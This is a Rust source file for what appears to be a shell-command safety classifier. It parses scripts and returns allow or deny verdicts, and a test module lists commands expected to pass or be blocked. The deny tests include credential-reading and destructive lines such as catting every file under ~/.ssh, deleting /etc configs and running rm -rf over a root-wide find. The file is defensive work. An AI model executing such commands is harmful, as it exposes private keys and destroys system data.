1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7 static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14 static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17const MAX_CLASSIFY_WORK: u32 = 512;
23
24struct ClassifyGuard;
28
29impl ClassifyGuard {
30 fn enter() -> Option<Self> {
31 if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32 CLASSIFY_WORK.with(|w| w.set(0));
33 }
34 let spent = CLASSIFY_WORK.with(|w| {
35 let n = w.get().saturating_add(1);
36 w.set(n);
37 n
38 });
39 if spent > MAX_CLASSIFY_WORK {
40 return None;
41 }
42 CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43 Some(ClassifyGuard)
44 }
45}
46
47impl Drop for ClassifyGuard {
48 fn drop(&mut self) {
49 CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50 }
51}
52
53pub(crate) fn charge_classify_work(units: u32) -> bool {
63 CLASSIFY_WORK.with(|w| {
64 let n = w.get().saturating_add(units);
65 w.set(n);
66 n <= MAX_CLASSIFY_WORK
67 })
68}
69
70pub fn command_verdict(input: &str) -> Verdict {
71 let Some(_guard) = ClassifyGuard::enter() else {
72 return Verdict::Denied; };
74 let Some(script) = parse(input) else {
75 return Verdict::Denied;
76 };
77 script_verdict(&script)
78}
79
80pub fn is_safe_command(input: &str) -> bool {
81 command_verdict(input).is_allowed()
82}
83
84thread_local! {
85 static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
89 const { std::cell::RefCell::new(Vec::new()) };
90 static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
95 const { std::cell::RefCell::new(Vec::new()) };
96 static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
99}
100
101const MAX_FUNC_DEPTH: usize = 32;
102
103const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
107
108struct FuncScope;
109impl Drop for FuncScope {
110 fn drop(&mut self) {
111 FUNCTIONS.with(|f| {
112 f.borrow_mut().pop();
113 });
114 }
115}
116
117fn define_function(name: String, body: Script) -> FuncScope {
118 FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
119 FuncScope
120}
121
122fn lookup_function(name: &str) -> Option<Script> {
123 if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
124 return None; }
126 FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
127}
128
129fn poison_function(name: String) {
132 POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
133}
134
135struct ResolveScope;
136impl Drop for ResolveScope {
137 fn drop(&mut self) {
138 RESOLVING.with(|r| {
139 r.borrow_mut().pop();
140 });
141 }
142}
143
144fn begin_resolving(name: &str) -> Option<ResolveScope> {
150 let over_budget = CLASSIFY_WORK.with(|w| {
151 let n = w.get().saturating_add(1);
152 w.set(n);
153 n > MAX_CLASSIFY_WORK
154 });
155 if over_budget {
156 return None;
157 }
158 RESOLVING.with(|r| {
159 let mut stack = r.borrow_mut();
160 if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
161 None
162 } else {
163 stack.push(name.to_string());
164 Some(ResolveScope)
165 }
166 })
167}
168
169fn script_verdict(script: &Script) -> Verdict {
170 walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
171 .into_iter()
172 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
173}
174
175pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
187 let mut running = crate::pathctx::cwd();
188 let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
189 let mut _funcs: Vec<FuncScope> = Vec::new();
190 let mut out = Vec::with_capacity(script.0.len());
191 for stmt in &script.0 {
192 out.push({
193 let _cwd = crate::pathctx::enter_cwd(running.clone());
194 per_stmt(stmt)
195 });
196 let effects = shell_effects(&stmt.pipeline);
197 let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
198 if next.is_some() {
199 running = next;
200 } else if effects.cwd {
201 running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
205 }
206 for (name, value) in statement_assignments(&stmt.pipeline) {
207 _vars.push(crate::pathctx::enter_var(name, value));
208 }
209 for name in effects.vars {
213 _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
214 }
215 for name in effects.funcs {
216 poison_function(name);
217 }
218 if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
219 _funcs.push(define_function(name.clone(), body.clone()));
220 }
221 }
222 out
223}
224
225const MAX_CD_SCAN_DEPTH: usize = 16;
228
229#[derive(Default)]
242struct ShellEffects {
243 cwd: bool,
244 vars: Vec<String>,
245 funcs: Vec<String>,
246}
247
248fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
250 let mut out = ShellEffects::default();
251 if let [only] = pipeline.commands.as_slice() {
252 let mut seen = Vec::new();
256 scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
257 }
258 out
259}
260
261fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
262 let Some(depth) = depth.checked_sub(1) else {
263 out.cwd = true; return;
265 };
266 match cmd {
267 Cmd::Simple(s) => {
268 let Some(name) = s.words.first().map(Word::eval) else {
269 return; };
271 if name == "cd" {
272 out.cwd = true;
273 return;
274 }
275 if seen.contains(&name) {
277 return;
278 }
279 if let Some(body) = lookup_function(&name) {
280 seen.push(name);
281 scan_script_effects(&body, depth, seen, out);
282 }
283 }
284 Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
286 Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
287 scan_script_effects(body, depth, seen, out);
288 }
289 Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
290 scan_script_effects(cond, depth, seen, out);
291 scan_script_effects(body, depth, seen, out);
292 }
293 Cmd::If { branches, else_body, .. } => {
294 for b in branches {
295 scan_script_effects(&b.cond, depth, seen, out);
296 scan_script_effects(&b.body, depth, seen, out);
297 }
298 if let Some(e) = else_body {
299 scan_script_effects(e, depth, seen, out);
300 }
301 }
302 Cmd::Case { arms, .. } => {
303 for a in arms {
304 scan_script_effects(&a.body, depth, seen, out);
305 }
306 }
307 }
308}
309
310fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
313 for st in &script.0 {
314 for (name, _) in statement_assignments(&st.pipeline) {
315 out.vars.push(name);
316 }
317 if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
318 out.funcs.push(name.clone());
319 }
320 if let [only] = st.pipeline.commands.as_slice() {
321 scan_effects(only, depth, seen, out);
322 }
323 }
324}
325
326fn cd_target(pipeline: &Pipeline) -> Option<String> {
329 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
330 return None;
331 };
332 if s.words.first()?.eval() != "cd" {
333 return None;
334 }
335 s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
336}
337
338fn read_loop_vars(cond: &Script) -> Vec<String> {
343 let [stmt] = cond.0.as_slice() else {
344 return Vec::new();
345 };
346 let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
347 return Vec::new();
348 };
349 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
350 if words.first().map(String::as_str) != Some("read") {
351 return Vec::new();
352 }
353 words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
354}
355
356fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
361 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
362 return Vec::new();
363 };
364 if !s.words.is_empty() {
365 return Vec::new();
366 }
367 s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
368}
369
370fn certain_value(word: &Word) -> String {
374 let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
375 if raw.contains('$') || is_opaque_value(&raw) {
379 UNCERTAIN_VALUE.to_string()
380 } else {
381 raw
382 }
383}
384
385pub(crate) fn is_opaque_value(raw: &str) -> bool {
389 ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
390 .iter()
391 .any(|m| raw.contains(m))
392}
393
394#[cfg(test)]
395pub(crate) fn is_safe_script(script: &Script) -> bool {
396 script_verdict(script).is_allowed()
397}
398
399pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
400 let mut acc = Verdict::Allowed(SafetyLevel::Inert);
401 let mut stream: Option<String> = None;
407 for cmd in &pipeline.commands {
408 let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
409 acc = acc.combine(cmd_verdict(cmd));
410 stream = Some(stage_output_repr(cmd, stream.as_deref()));
411 }
412 acc
413}
414
415const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
420
421fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
426 let Cmd::Simple(s) = cmd else {
427 return UNKNOWN_ITEM.to_string();
428 };
429 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
430 let Some(first) = words.first() else {
431 return UNKNOWN_ITEM.to_string();
432 };
433 let name = Token::from_raw(first.clone()).command_name().to_string();
434 let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
435 let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
436 match name.as_str() {
437 "find" | "fd" | "fdfind" => {
445 let roots = find_roots(&args);
446 let base = roots
447 .iter()
448 .max_by_key(|r| {
449 let (read, write) = (
450 crate::engine::resolve::locus::read_locus(r),
451 crate::engine::resolve::locus::write_locus(r),
452 );
453 read.max(write)
454 })
455 .copied()
456 .unwrap_or(".");
457 format!("{}/sc_item", base.trim_end_matches('/'))
458 }
459 "ls" => {
461 if args.contains(&"-d") {
462 worst_arg_repr(&args)
463 } else {
464 "sc_item".to_string()
465 }
466 }
467 "echo" | "printf" => worst_arg_repr(&args),
469 "git" => match args.first() {
471 Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
472 _ => UNKNOWN_ITEM.to_string(),
473 },
474 "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
479 "head" | "tail"
480 if !reads_a_file_after_count(&args)
481 && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
482 {
483 through()
484 }
485 "tee" => through(),
487 _ => UNKNOWN_ITEM.to_string(),
488 }
489}
490
491fn reads_a_file(args: &[&str]) -> bool {
497 args.iter().any(|a| {
498 (!a.starts_with('-') && *a != "-")
499 || *a == "--files0-from"
500 || a.starts_with("--files0-from=")
501 })
502}
503
504fn reads_a_file_after_count(args: &[&str]) -> bool {
507 let mut i = 0;
508 while i < args.len() {
509 let a = args[i];
510 if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
511 i += 2; continue;
513 }
514 if a.starts_with('-') || a == "-" {
515 i += 1;
516 continue;
517 }
518 return true; }
520 false
521}
522
523fn source_ok(path: &str) -> bool {
526 crate::engine::resolve::read_content_verdict(path).is_allowed()
527}
528
529fn worst_arg_repr(args: &[&str]) -> String {
532 args.iter()
533 .filter(|a| !a.starts_with('-'))
534 .find(|a| !source_ok(a))
535 .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
536}
537
538fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
541 let mut i = 0;
542 while i < args.len() {
543 match args[i] {
544 "-H" | "-L" | "-P" => i += 1,
545 "-D" | "-O" => i += 2,
546 _ => break,
547 }
548 }
549 let mut roots = Vec::new();
550 while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
551 roots.push(args[i]);
552 i += 1;
553 }
554 if roots.is_empty() {
555 roots.push(".");
556 }
557 roots
558}
559
560pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
561 pipeline_verdict(pipeline).is_allowed()
562}
563
564pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
565 match cmd {
566 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
567 _ => true,
568 }
569}
570
571fn has_any_substitution(cmd: &SimpleCmd) -> bool {
572 cmd.words.iter().any(has_substitution)
573 || cmd.env.iter().any(|(_, v)| has_substitution(v))
574}
575
576pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
607 let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
608 for (name, value) in &cmd.env {
609 let value = value.eval();
610 if value.chars().any(char::is_whitespace) {
611 return None;
612 }
613 parts.push(format!("{name}={value}"));
614 }
615 parts.extend(cmd.words.iter().map(|w| w.eval()));
616 Some(parts.join(" "))
617}
618
619pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
620 match cmd {
621 Cmd::Simple(s) => simple_verdict(s),
622 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
623 let body_v = script_verdict(body);
624 if let Verdict::Denied = body_v {
625 return Verdict::Denied;
626 }
627 let redir_v = redirect_verdict(redirs);
628 if let Verdict::Denied = redir_v {
629 return Verdict::Denied;
630 }
631 body_v.combine(redir_v)
632 }
633 Cmd::For { var, items, body, redirs } => {
634 let redir_v = redirect_verdict(redirs);
635 if let Verdict::Denied = redir_v {
636 return Verdict::Denied;
637 }
638 let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
642 let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
643 Some((read_repr, write_repr)) => {
644 let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
645 script_verdict(body)
646 }
647 None => script_verdict(body),
648 };
649 words_sub_verdict(items).combine(body_v).combine(redir_v)
650 }
651 Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
652 let redir_v = redirect_verdict(redirs);
653 if let Verdict::Denied = redir_v {
654 return Verdict::Denied;
655 }
656 let cond_v = script_verdict(cond);
657 let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
662 Some(repr) => read_loop_vars(cond)
663 .into_iter()
664 .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
665 .collect(),
666 None => Vec::new(),
667 };
668 cond_v.combine(script_verdict(body)).combine(redir_v)
669 }
670 Cmd::If {
671 branches,
672 else_body,
673 redirs,
674 } => {
675 let redir_v = redirect_verdict(redirs);
676 if let Verdict::Denied = redir_v {
677 return Verdict::Denied;
678 }
679 let mut v = redir_v;
680 for b in branches {
681 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
682 }
683 if let Some(eb) = else_body {
684 v = v.combine(script_verdict(eb));
685 }
686 v
687 }
688 Cmd::DoubleBracket { words, redirs } => {
689 words_sub_verdict(words).combine(redirect_verdict(redirs))
690 }
691 Cmd::Case { subject, arms, redirs } => {
695 let redir_v = redirect_verdict(redirs);
696 if let Verdict::Denied = redir_v {
697 return Verdict::Denied;
698 }
699 let mut v = redir_v.combine(word_sub_verdict(subject));
700 for arm in arms {
701 v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
702 }
703 v
704 }
705 Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
709 }
710}
711
712pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
713 cmd_verdict(cmd).is_allowed()
714}
715
716fn part_sub_verdict(part: &WordPart) -> Verdict {
717 match part {
718 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
719 WordPart::Backtick(raw) => command_verdict(raw),
720 WordPart::DQuote(inner) => word_sub_verdict(inner),
721 WordPart::Arith(inner) => word_sub_verdict(inner),
723 _ => Verdict::Allowed(SafetyLevel::Inert),
724 }
725}
726
727fn word_sub_verdict(word: &Word) -> Verdict {
728 word.0.iter()
729 .map(part_sub_verdict)
730 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
731}
732
733fn words_sub_verdict(words: &[Word]) -> Verdict {
734 words.iter()
735 .map(word_sub_verdict)
736 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
737}
738
739#[cfg(test)]
740pub(crate) fn word_subs_safe(word: &Word) -> bool {
741 word_sub_verdict(word).is_allowed()
742}
743
744fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
745 let redir_v = redirect_verdict(&cmd.redirs);
746 if let Verdict::Denied = redir_v {
747 return Verdict::Denied;
748 }
749
750 let env_sub_v = cmd.env.iter()
751 .map(|(_, v)| word_sub_verdict(v))
752 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
753 let word_sub_v = words_sub_verdict(&cmd.words);
754
755 let env_name_v = cmd
765 .env
766 .iter()
767 .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
768 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
769 let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
770
771 if let Verdict::Denied = sub_v {
772 return Verdict::Denied;
773 }
774
775 if cmd.words.is_empty() {
776 if cmd.env.is_empty() {
777 return Verdict::Allowed(SafetyLevel::Inert);
778 }
779 return sub_v.combine(redir_v);
780 }
781
782 let name = cmd.words[0].eval();
783
784 if let Some(body) = lookup_function(&name) {
792 let Some(_resolving) = begin_resolving(&name) else {
793 return Verdict::Denied;
794 };
795 let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
796 .iter()
797 .enumerate()
798 .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
799 .collect();
800 return sub_v.combine(script_verdict(&body)).combine(redir_v);
801 }
802
803 if name == "eval" {
804 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
805 }
806
807 let tokens: Vec<Token> =
810 cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
811 if tokens.is_empty() {
812 return Verdict::Allowed(SafetyLevel::Inert);
813 }
814 if smuggles_a_flag(cmd) {
815 return Verdict::Denied;
816 }
817
818 let cmd_v = leaf_verdict(&tokens);
819 sub_v.combine(cmd_v).combine(redir_v)
820}
821
822fn smuggles_a_flag(cmd: &SimpleCmd) -> bool {
845 cmd.words.iter().skip(1).any(|w| {
846 w.0.iter().any(|part| {
848 let WordPart::Lit(raw) = part else { return false };
849 if !raw.contains('$') {
850 return false;
851 }
852 let expanded = crate::pathctx::expand_vars(raw, false);
853 expanded.split([' ', '\t', '\n']).skip(1).any(|piece| piece.starts_with('-'))
854 || (expanded.split([' ', '\t', '\n']).count() > 1
855 && expanded.starts_with('-'))
856 })
857 })
858}
859
860fn leaf_verdict(tokens: &[Token]) -> Verdict {
864 let legacy = handlers::dispatch(tokens);
865 crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
866}
867
868fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
869 if cmd.words.len() < 2 {
870 return Verdict::Denied;
871 }
872 for arg in &cmd.words[1..] {
873 if !arg_is_eval_safe(arg) {
874 return Verdict::Denied;
875 }
876 }
877 Verdict::Allowed(SafetyLevel::Inert)
878}
879
880fn arg_is_eval_safe(word: &Word) -> bool {
881 let mut found_safe = false;
882 for part in &word.0 {
883 match part {
884 WordPart::Lit(s) | WordPart::SQuote(s) => {
885 if !s.chars().all(char::is_whitespace) {
886 return false;
887 }
888 }
889 WordPart::Escape(c) => {
890 if !c.is_whitespace() {
891 return false;
892 }
893 }
894 WordPart::CmdSub(script) => {
895 if !script_yields_eval_safe(script) {
896 return false;
897 }
898 found_safe = true;
899 }
900 WordPart::Backtick(raw) => {
901 let Some(script) = parse(raw) else {
902 return false;
903 };
904 if !script_yields_eval_safe(&script) {
905 return false;
906 }
907 found_safe = true;
908 }
909 WordPart::DQuote(inner) => {
910 if !arg_is_eval_safe(inner) {
911 return false;
912 }
913 if has_substitution(inner) {
914 found_safe = true;
915 }
916 }
917 WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
918 }
919 }
920 found_safe
921}
922
923fn script_yields_eval_safe(script: &Script) -> bool {
924 if script.0.len() != 1 {
925 return false;
926 }
927 let stmt = &script.0[0];
928 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
929 return false;
930 }
931 let pipeline = &stmt.pipeline;
932 if pipeline.bang || pipeline.commands.len() != 1 {
933 return false;
934 }
935 let Cmd::Simple(s) = &pipeline.commands[0] else {
936 return false;
937 };
938 if !s.env.is_empty() {
939 return false;
940 }
941 if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
947 return false;
948 }
949 for w in &s.words {
950 if !word_is_plain_literal(w) {
951 return false;
952 }
953 }
954 let tokens: Vec<Token> =
955 s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
956 if tokens.is_empty() {
957 return false;
958 }
959 crate::registry::is_eval_safe_invocation(&tokens)
960}
961
962fn word_is_plain_literal(word: &Word) -> bool {
975 word.0.iter().all(part_is_plain_literal)
976}
977
978fn part_is_plain_literal(part: &WordPart) -> bool {
979 match part {
980 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
981 WordPart::Escape(c) => is_bare_literal_char(*c),
982 WordPart::DQuote(inner) => word_is_plain_literal(inner),
983 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
984 }
985}
986
987fn is_bare_literal_char(c: char) -> bool {
993 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
994}
995
996pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
997 redirs.iter().all(|r| match r {
998 Redir::Write { target, .. } | Redir::ReadWrite { target, .. } => target.eval() == "/dev/null",
1000 Redir::Read { .. }
1001 | Redir::HereStr(_)
1002 | Redir::HereDoc { .. }
1003 | Redir::DupFd { .. } => true,
1004 })
1005}
1006
1007fn is_safe_write_target(path: &str) -> bool {
1014 crate::engine::resolve::write_target_verdict(path).is_allowed()
1015}
1016
1017fn write_face(target: &Word) -> Verdict {
1019 let t = target.eval();
1020 if t == "/dev/null" {
1021 Verdict::Allowed(SafetyLevel::Inert)
1023 } else if is_safe_write_target(&t) {
1024 Verdict::Allowed(SafetyLevel::SafeWrite)
1025 } else {
1026 Verdict::Denied
1027 }
1028}
1029
1030fn read_face(target: &Word) -> Verdict {
1034 let t = target.eval();
1035 if is_opaque_value(&t) {
1039 Verdict::Denied
1040 } else {
1041 crate::engine::resolve::read_content_verdict(&t)
1042 }
1043}
1044
1045pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1046 let mut level = Verdict::Allowed(SafetyLevel::Inert);
1047 for r in redirs {
1048 match r {
1049 Redir::Write { target, .. } => {
1050 level = level.combine(word_sub_verdict(target));
1051 level = level.combine(write_face(target));
1052 }
1053 Redir::Read { target, .. } => {
1054 level = level.combine(word_sub_verdict(target));
1055 level = level.combine(read_face(target));
1056 }
1057 Redir::ReadWrite { target, .. } => {
1061 level = level.combine(word_sub_verdict(target));
1062 level = level.combine(write_face(target));
1063 level = level.combine(read_face(target));
1064 }
1065 Redir::HereStr(word) => {
1066 level = level.combine(word_sub_verdict(word));
1067 }
1068 Redir::HereDoc { body, .. } => {
1072 level = level.combine(word_sub_verdict(body));
1073 }
1074 Redir::DupFd { .. } => {}
1075 }
1076 }
1077 level
1078}
1079
1080fn has_substitution(word: &Word) -> bool {
1081 word.0.iter().any(|p| match p {
1082 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1083 WordPart::DQuote(inner) => has_substitution(inner),
1084 _ => false,
1085 })
1086}
1087
1088#[cfg(test)]
1089mod tests {
1090 use super::*;
1091
1092 fn check(cmd: &str) -> bool {
1093 is_safe_command(cmd)
1094 }
1095
1096 #[test]
1097 fn loop_variable_inherits_the_list_locus() {
1098 for cmd in [
1101 "for f in *.txt; do cat $f; done",
1102 "for f in *.txt; do rm $f; done",
1103 "for f in src/*.rs; do grep foo $f; done",
1104 "for f in *.log; do sed -i s/a/b/ $f; done",
1105 "for f in a b c; do cat $f.bak; done",
1106 "for x in 1 2 3; do rm $x; done",
1107 "for d in a b; do for f in $d/x; do cat $f; done; done", ] {
1109 assert!(check(cmd), "worktree loop should allow: {cmd}");
1110 }
1111 for cmd in [
1113 "for f in /etc/*; do cat $f; done",
1114 "for f in /etc/*.conf; do rm $f; done",
1115 "for f in ~/.ssh/*; do cat $f; done",
1116 "for f in $LIST; do rm $f; done",
1117 "for f in $(find / -name x); do rm -rf $f; done",
1118 "for d in /etc; do for f in $d/x; do cat $f; done; done",
1119 "for f in /etc/hosts ~/notes; do cat $f; done",
1122 ] {
1123 assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1124 }
1125 }
1126
1127 safe! {
1128 grep_foo: "grep foo file.txt",
1129 jq_key: "jq '.key' file.json",
1130 base64_d: "base64 -d",
1131 ls_la: "ls -la",
1132 wc_l: "wc -l file.txt",
1133 ps_aux: "ps aux",
1134 echo_hello: "echo hello",
1135 cat_file: "cat file.txt",
1136
1137 version_go: "go --version",
1138 version_cargo: "cargo --version",
1139 version_cargo_redirect: "cargo --version 2>&1",
1140 help_cargo: "cargo --help",
1141 help_cargo_build: "cargo build --help",
1142
1143 dev_null_echo: "echo hello > /dev/null",
1144 dev_null_stderr: "echo hello 2> /dev/null",
1145 dev_null_append: "echo hello >> /dev/null",
1146 dev_null_git_log: "git log > /dev/null 2>&1",
1147 fd_redirect_ls: "ls 2>&1",
1148 stdin_dev_null: "git log < /dev/null",
1149
1150 env_prefix: "FOO='bar baz' ls -la",
1151 env_prefix_dq: "FOO=\"bar baz\" ls -la",
1152 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1153
1154 subst_echo_ls: "echo $(ls)",
1155 subst_ls_pwd: "ls `pwd`",
1156 subst_nested: "echo $(echo $(ls))",
1157 subst_quoted: "echo \"$(ls)\"",
1158 assign_subst_ls: "out=$(ls)",
1159 assign_subst_git: "out=$(git status)",
1160 assign_subst_multiple: "a=$(ls) b=$(pwd)",
1161 assign_subst_backtick: "out=`ls`",
1162
1163 assign_bare_lit: "foo=bar",
1164 assign_bare_int: "x=1",
1165 assign_bare_empty: "x=",
1166 assign_bare_dq: "x=\"foo bar\"",
1167 assign_bare_sq: "x='foo bar'",
1168 assign_bare_param: "rc=$?",
1169 assign_bare_var: "x=$y",
1170 assign_bare_dollar_var_braced: "x=${y}",
1171 assign_bare_path: "PATH=/foo",
1172 assign_bare_multiple: "a=1 b=2 c=3",
1173 assign_bare_arith: "x=$((1 + 2))",
1174 assign_in_for_body: "for i in 1 2; do x=1; done",
1175 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1176 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1177 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1178 assign_then_use: "x=1; echo $x",
1179 assign_chained_with_safe: "x=1 && ls",
1180 assign_subshell: "(x=1)",
1181 assign_in_subshell_with_cmd: "(x=1; ls)",
1182
1183 loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1188 loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1189 loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1190 loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1191 loop_over_pwd: "for f in $(pwd); do cat $f; done",
1192
1193 case_single_arm: "case x in x) echo a;; esac",
1194 case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1195 case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1196 case_last_arm_without_terminator: "case x in x) echo a; esac",
1197 case_empty_body: "case x in x) ;; esac",
1198 case_multiline: "case \"$1\" in\n start)\n ls -la\n ;;\n *)\n echo usage\n ;;\nesac",
1199 case_in_substitution: "echo $(case A in *) echo a;; esac)",
1200 case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1201 clobber_redirect: "ls >| out.txt",
1202 clobber_redirect_fd: "ls 1>| out.txt",
1203 readwrite_redirect: "ls <> f.txt",
1204 readwrite_redirect_devnull: "ls <> /dev/null",
1205
1206 subshell_echo: "(echo hello)",
1207 subshell_ls: "(ls)",
1208 subshell_chain: "(ls && echo done)",
1209 subshell_pipe: "(ls | grep foo)",
1210 subshell_nested: "((echo hello))",
1211 subshell_for: "(for x in 1 2; do echo $x; done)",
1212
1213 pipe_grep_head: "grep foo file.txt | head -5",
1214 pipe_cat_sort_uniq: "cat file | sort | uniq",
1215 chain_ls_echo: "ls && echo done",
1216 semicolon_ls_echo: "ls; echo done",
1217 bg_ls_echo: "ls & echo done",
1218 newline_echo_echo: "echo foo\necho bar",
1219
1220 stdin_read_from_path: "wc -l < /tmp/foo.log",
1221 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1222 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1223
1224 here_string_grep: "grep -c , <<< 'hello,world,test'",
1225 heredoc_cat: "cat <<EOF\nhello world\nEOF",
1226 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1227 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1228 heredoc_no_content: "cat <<EOF",
1229 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1230
1231 for_echo: "for x in 1 2 3; do echo $x; done",
1232 for_empty_body: "for x in 1 2 3; do; done",
